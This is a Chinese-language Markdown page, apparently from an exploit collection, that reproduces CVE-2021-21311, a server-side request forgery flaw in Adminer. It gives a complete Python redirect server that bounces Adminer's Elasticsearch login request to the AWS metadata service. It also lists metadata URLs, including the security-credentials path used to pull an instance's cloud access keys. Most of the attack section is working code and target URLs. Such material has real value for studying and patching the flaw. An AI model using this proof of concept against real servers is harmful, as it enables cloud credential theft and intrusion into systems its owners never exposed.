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88 lines
2.3 KiB
Markdown
88 lines
2.3 KiB
Markdown
# Adminer SSRF漏洞 CVE-2021-21311
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## 漏洞描述
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使用管理员发送任意get请求并从内部服务器检索JSON响应的方法。可以从AWS元数据服务中提取AWS访问密钥。
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参考链接：
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- https://github.com/advisories/GHSA-x5r2-hj5c-8jx6
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- https://gist.github.com/bpsizemore/227141941c5075d96a34e375c63ae3bd
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## 漏洞复现
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首先，启动一个python服务器，该服务器侦听传入的连接并以301重定向响应到任意选择的主机。在此示例情况下，重定向指向AWS元数据服务：
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```
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http://169.254.169.254/latest/meta-data/instance-id
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```
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然后，在Adminer中使用Elasticsearch登录模块“登录”运行python代码的服务器，这导致Adminer从包含服务器的AWS实例ID的元数据服务器打印json响应。
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重定向请求的python脚本：
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```py
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#!/usr/bin/env python
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import SimpleHTTPServer
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import SocketServer
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import sys
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import argparse
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def redirect_handler_factory(url):
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"""
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Returns a request handler class that redirects to supplied `url`
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"""
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class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
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def do_GET(self):
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self.send_response(301)
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self.send_header('Location', url)
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self.end_headers()
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def do_POST(self):
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self.send_response(301)
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self.send_header('Location', url)
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self.end_headers()
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return RedirectHandler
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def main():
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parser = argparse.ArgumentParser(description='HTTP redirect server')
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parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')
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parser.add_argument('--ip', '-i', action="store", default="", help='host interface to listen on')
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parser.add_argument('redirect_url', action="store")
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myargs = parser.parse_args()
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redirect_url = myargs.redirect_url
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port = myargs.port
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host = myargs.ip
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redirectHandler = redirect_handler_factory(redirect_url)
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handler = SocketServer.TCPServer((host, port), redirectHandler)
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print("serving at port %s" % port)
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handler.serve_forever()
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if __name__ == "__main__":
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main()
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```
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```
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http://169.254.169.254/latest/meta-data/iam/security-credentials/ //列出服务器的可用角色。
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```
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